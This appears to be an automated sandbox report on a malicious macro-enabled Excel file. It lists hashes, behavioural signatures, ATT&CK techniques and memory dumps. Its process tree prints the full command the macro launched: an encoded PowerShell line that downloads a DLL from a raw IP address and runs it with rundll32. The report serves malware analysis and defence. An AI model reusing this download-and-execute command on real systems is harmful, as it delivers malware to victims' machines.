Overview

overview

10

Static

static

8

doc1 (33).xlsm

windows7_x64

10

doc1 (33).xlsm

windows10_x64

10

Analysis

  • max time kernel
    119s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-en-20211014
  • submitted
    19-10-2021 14:52

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General

  • Target

    doc1 (33).xlsm

  • Size

    130KB

  • MD5

    dc05be7a3a80a8361cebded08ba1ad6f

  • SHA1

    aa145cd9773b10c5b9967c65d80ec4c92115e745

  • SHA256

    056e1bdd3bc59bce465cfcea4bff39876b99086757e5b3f31df9c12e5b7cab31

  • SHA512

    2efee02da4c63f4c08adb95c3ada96f31144752f1413829d28df353b3d0118cd89bc70c1bc20f47997f324afc162f533522f59b0681eb279591ded59e3bc9d6e

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\doc1 (33).xlsm"
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1328
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c start /B /WAIT powershell -enc IABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAIgBoAHQAdABwADoALwAvADEAOQA1AC4AMQAzADMALgAxADkAMgAuADcAMgAvAGkAbQBhAGcAZQBzAC8AYQByAGUAZABwAGwAYQBuAGUALgBwAG4AZwAiACAALQBPAHUAdABGAGkAbABlACAAIgBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABjAGwAYgAuAGQAbABsACIA & start C:\Windows\System32\rundll32.exe C:\ProgramData\clb.dll,versus
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:832
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -enc IABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAIgBoAHQAdABwADoALwAvADEAOQA1AC4AMQAzADMALgAxADkAMgAuADcAMgAvAGkAbQBhAGcAZQBzAC8AYQByAGUAZABwAGwAYQBuAGUALgBwAG4AZwAiACAALQBPAHUAdABGAGkAbABlACAAIgBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABjAGwAYgAuAGQAbABsACIA
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:968
      • C:\Windows\SysWOW64\rundll32.exe
        C:\Windows\System32\rundll32.exe C:\ProgramData\clb.dll,versus
        3⤵
          PID:1144

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Initial Access

    Execution

    Persistence

    Privilege Escalation

    Defense Evasion

    Modify Registry

    1
    T1112

    Credential Access

    Discovery

    Query Registry

    1
    T1012

    System Information Discovery

    1
    T1082

    Lateral Movement

    Collection

    Exfiltration

    Command and Control

    Impact

    Replay Monitor

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    Downloads

    • memory/832-57-0x0000000000000000-mapping.dmp
      Download
    • memory/968-58-0x0000000000000000-mapping.dmp
      Download
    • memory/968-59-0x0000000075821000-0x0000000075823000-memory.dmp
      Filesize

      8KB

      Download
    • memory/968-61-0x0000000002460000-0x00000000030AA000-memory.dmp
      Filesize

      12.3MB

      Download
    • memory/1144-62-0x0000000000000000-mapping.dmp
      Download
    • memory/1328-54-0x000000002F631000-0x000000002F634000-memory.dmp
      Filesize

      12KB

      Download
    • memory/1328-55-0x0000000071311000-0x0000000071313000-memory.dmp
      Filesize

      8KB

      Download
    • memory/1328-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

      Download
    • memory/1328-60-0x0000000005AD0000-0x0000000005AD2000-memory.dmp
      Filesize

      8KB

      Download
    • memory/1328-64-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

      Download